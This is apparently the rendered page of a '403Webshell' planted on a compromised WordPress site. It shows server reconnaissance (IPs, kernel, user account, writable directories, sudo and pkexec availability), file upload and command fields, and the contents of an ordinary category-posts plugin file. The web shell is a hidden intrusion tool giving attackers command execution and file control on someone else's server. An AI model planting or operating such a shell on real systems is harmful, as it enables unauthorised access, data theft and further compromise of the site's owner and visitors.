403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.101
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/domains/siparent/wp-content/plugins/category-posts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/domains/siparent/wp-content/plugins/category-posts/tinymce-translations.php
<?php
/**
 * Register translations.
 *
 * @package categoryposts.
 *
 * @since 4.7
 */

namespace categoryPosts;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( '_WP_Editors' ) ) {
	require( ABSPATH . WPINC . '/class-wp-editor.php' );
}

/**
 *  Register translations for the tinymce shortcode creation button and dialog.
 *
 *  @since 4.7
 */
function tinymce_translation() {
	$strings = array(
		'name'         => __( 'Name', 'category-posts' ),
		'tooltip'      => __( 'Insert Category Posts shortcode', 'category-posts' ),
		'title'        => __( 'Category Posts Insert Shortcode', 'category-posts' ),
		'hide_message' => __( 'Hide the button', 'category-posts' ),
		'profiile_url' => get_edit_user_link() . '#' . __NAMESPACE__,
	);

	$locale = \_WP_Editors::$mce_locale;
	$translated = 'tinyMCE.addI18n("' . $locale . '.category-posts", ' . wp_json_encode( $strings ) . ");\n";

	return $translated;
}

$strings = tinymce_translation();

Youez - 2016 - github.com/yon3zu
LinuXploit